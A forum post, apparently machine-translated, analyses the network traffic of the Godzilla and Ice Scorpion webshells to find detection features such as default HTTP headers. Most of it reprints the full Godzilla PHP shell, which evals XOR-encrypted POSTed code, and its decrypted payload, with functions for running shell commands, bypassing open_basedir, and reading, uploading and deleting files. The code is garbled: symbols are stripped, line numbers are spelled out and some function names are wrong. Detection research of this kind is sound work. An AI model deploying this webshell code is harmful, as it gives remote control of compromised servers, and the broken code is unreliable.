Jump to content

Featured Replies

Posted

webshell 流量分析

This article takes Godzilla and Ice Scorpion as examples to analyze the traffic of the above two commonly used encrypted webshells in offensive and defensive confrontations.

1 Godzilla

Due to the differences in the encryption method of Godzilla when dealing with jsp and php, this article will expand from the php version of the shell and summarize and explain its operating principle. First, generate a php static webshell and the encryptor selects PHP_XOR_BASE64.

1.1 HTTP 请求头特征

1.1.1 User-Agent

The Godzilla client is written in the JAVA language. By default, if User-Agent is not modified, User-Agent will be similar to Java/11.0.7 (which version depends on the JDK environment version). But Godzilla supports custom HTTP headers, and this default feature can be easily removed.

1.1.2 Accept

The Accept header is text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

You should be very familiar with this default feature. Ice Scorpion has also appeared in the same Accept before. Why does this feature appear when two tools appear in such a coincidence? In fact, this is also a feature introduced by JDK, and it is not the author's customized Accept. The same default feature can also be removed through custom headers and can only be used as an auxiliary detection feature by default.

20210328125135.png-water_print

1.2 请求体特征

1.2.1 PHP_XOR_BASE64

20210328125615.png-water_print

Taking the default shell's password and key as an example, the generated file is as follows:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

27

28

29

30

31

32

33

34

?php

session_start();

@set_time_limit(0);

@error_reporting(0);

function E($D,$K){

for($i=0;$itrlen($D);$i++) {

$D[$i]=$D[$i]^$K[$i+115];

}

return $D;

}

function Q($D){

return base64_encode($D);

}

function O($D){

return base64_decode($D);

}

$P='pass';

$V='payload';

$T='3c6e0b8a9c15224a'; //md5(key)[:16]

if (isset($_POST[$P])){

$F=O(E(O($_POST[$P]),$T));

if (isset($_SESSION[$V])){

$L=$_SESSION[$V];

$A=explode('|',$L);

class C{public function nvoke($p) {eval($p.'');}}

$R=new C();

$R-nvoke($A[0]);

echo substr(md5($P.$T),0,16);

echo Q(E(@run($F),$T));

echo substr(md5($P.$T),16);

}else{

$_SESSION[$V]=$F;

}

}

There are two core areas: the first is the function E($D,$K) that performs XOR encryption and decryption, and the second is the two nested ifs to execute the code uploaded by Godzilla client and get the result.

Based on $F=O(E(O($_POST[$P]),$T)); in line 21, you can get the encoding encryption process when the Godzilla client uploads the code:

Original code - Base64 encoding - E function for XOR encryption - Base64 encoding

Enter the second if statement, first determine whether $_SESSION[$V] exists. When the client connects the shell for the first time, it will save a piece of code in $_SESSION, called payload. Combined with the subsequent run function, this payload will be called during subsequent shell connections. The operating principle of the entire shell can be basically clarified here. You can use the flowchart in an article to summarize:

20210328130431.png-water_print

Configure the proxy on the client and use Burp to view the interactive traffic of the webshell.

When the client connects for the first time, there will be three consecutive requests, the first request is as follows:

20210328143609.png-water_print

According to the encryption principle analyzed above, you can write a simple decryption script to decrypt the pass data:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

?php

function E($D,$K){

for($i=0;$itrlen($D);$i++) {

$D[$i]=$D[$i]^$K[$i+115];

}

return $D;

}

function O($D){

return base64_decode($D);

}

$P='pass';

$V='payload';

$T='3c6e0b8a9c15224a'; //md5(key)[:16]

echo O(E(O('data to be decrypted'), $T));

?

The decrypted data is:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

?php

$parameters=array();

function run($pms){

formatParameter($pms.'ILikeYou='.base64Encode('metoo'));

if ($_SESSION['bypass_open_basedir']==true){

@bypass_open_basedir();

}

return base64Encode(evalFunc());

}

function bypass_open_basedir(){

//.

}

function formatParameter($pms){

global $parameters;

$pms=explode('',$pms);

foreach ($pms as $kv){

$kv=explode('=',$kv);

if (sizeof($kv)=2){

$parameters[$kv[0]]=base64Decode($kv[1]);

}

}

}

function evalFunc(){

@session_write_close();

$className=get('codeName');

$methodName=get('methodName');

if ($methodName!=null){

if (strlen(trim($className))0){

if ($methodName=='includeCode'){

return includeCode();

}else{

if (isset($_SESSION[$className])){

return eval($_SESSION[$className]);

}else{

return '{$className} no load';

}

}

}else{

return $methodName();

}

}else{

return 'methodName Is Null';

}

}

function deleteDir($p){

$m=@dir($p);

while(@$f=$m-read()){

$pf=$p.'/'.$f;

@chmod($pf,0777);

if((is_dir($pf))($f!='.')($f!='.')){

deleteDir($pf);

@rmdir($pf);

}else if (is_file($pf)($f!='.')($f!='.')){

@unlink($pf);

}

}

$m-close();

@chmod($p,0777);

return @rmdir($p);

}

function deleteFile(){

$F=get('fileName');

if(is_dir($F)){

return deleteDir($F)?'ok':'fail';

}else{

return (file_exists($F)?@unlink($F)?'ok':'fail':'fail');

}

}

function copyFile(){

$srcFileName=get('srcFileName');

$destFileName=get('destFileName');

if (@is_file($srcFileName)){

if (copy($srcFileName,$destFileName)){

return 'ok';

}else{

return 'fail';

}

}else{

return 'The target does not exist or is not a file';

}

}

function moveFile(){

$srcFileName=get('srcFileName');

$destFileName=get('destFileName');

if (rename($srcFileName,$destFileName)){

return 'ok';

}else{

return 'fail';

}

}

function getBasicsInfo()

{

//.

}

function getFile(){

//.

}

function readFileContent(){

$fileName=get('fileName');

if (@is_file($fileName)){

if (@is_readable($fileName)){

return file_get_contents($fileName);

}else{

return 'No Permission!';

}

}else{

return 'File Not Found';

}

}

function uploadFile(){

$fileName=get('fileName');

$fileValue=get('fileValue');

if (@file_put_contents($fileName,$fileValue)!==false){

return 'ok';

}else{

return 'fail';

}

}

function newDir(){

$dir=get('dirName');

if (@mkdir($dir,0777,true)!==false){

return 'ok';

}else{

return 'fail';

}

}

function newFile(){

$fileName=get('fileName');

if (@file_put_contents($fileName,'')!==false){

return 'ok';

}else{

return 'fail';

}

}

function execCommand(){

$result='';

$command=get('cmdLine');

$PadtJn=@ini_get('disable_functions');

if (! empty($PadtJn)) {

$PadtJn=preg_replace('/[, ]+/', ',', $PadtJn);

$PadtJn=exploit(',', $PadtJn);

$PadtJn=array_map('trim', $PadtJn);

} else {

$PadtJn=array();

}

if (FALSE !==strpos(strtolower(PHP_OS), 'win')) {

$command=$command . ' 21\n';

}

if (is_callable('system') and ! in_array('system', $PadtJn)) {

ob_start();

system($command);

$result=ob_get_contents();

ob_end_clean();

} else if (is_callable('proc_open') and ! in_array('proc_open', $PadtJn)) {

$handle=proc_open($command, array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);

$result=NULL;

while (! feof($pipes[1])) {

$result .=fread($pipes[1], 1024);

}

@proc_close($handle);

} else if (is_callable('passthru') and ! in_array('passthru', $PadtJn)) {

ob_start();

passthru($command);

$result=ob_get_contents();

ob_end_clean();

} else if (is_callable('shell_exec') and ! in_array('shell_exec', $PadtJn)) {

$result=shell_exec($command);

} else if (is_callable('exec') and ! in_array('exec', $PadtJn)) {

$result=array();

exec($command, $result);

$result=join(chr(10), $result) . chr(10);

} else if (is_callable('exec') and ! in_array('popen', $PadtJn)) {

$fp=popen($command, 'r');

$result=NULL;

if (is_resource($fp)) {

while (! feof($fp)) {

$result .=fread($fp, 1024);

}

}

@pclose($fp);

} else {

return 'none of proc_open/passthru/shell_exec/exec/exec is available';

}

return $result;

}

function execSql(){

//.

}

function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){

//.

}

function base64Encode($data){

return base64_encode($data);

}

function test(){

return 'ok';

}

function get($key){

global $parameters;

if (isset($parameters[$key])){

return $parameters[$key];

}else{

return null;

}

}

function includeCode(){

@session_start();

$classCode=get('binCode');

$codeName=get('codeName');

$_SESSION[$codeName]=$classCode;

@session_write_close();

return 'ok';

}

function base64Decode($string){

return base64_decode($string);

}

?

The transmitted script is very long, including more than 20 functional functions such as run, bypass_open_basedir, formatParameter, evalFunc, etc. and has many functions such as code execution, file operation, and database operation.

It can be found that the packet has not returned, which can be used as one of the characteristics of traffic identification.

The second data packet and decryption situation are as follows:

20210328144313.png-water_print

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.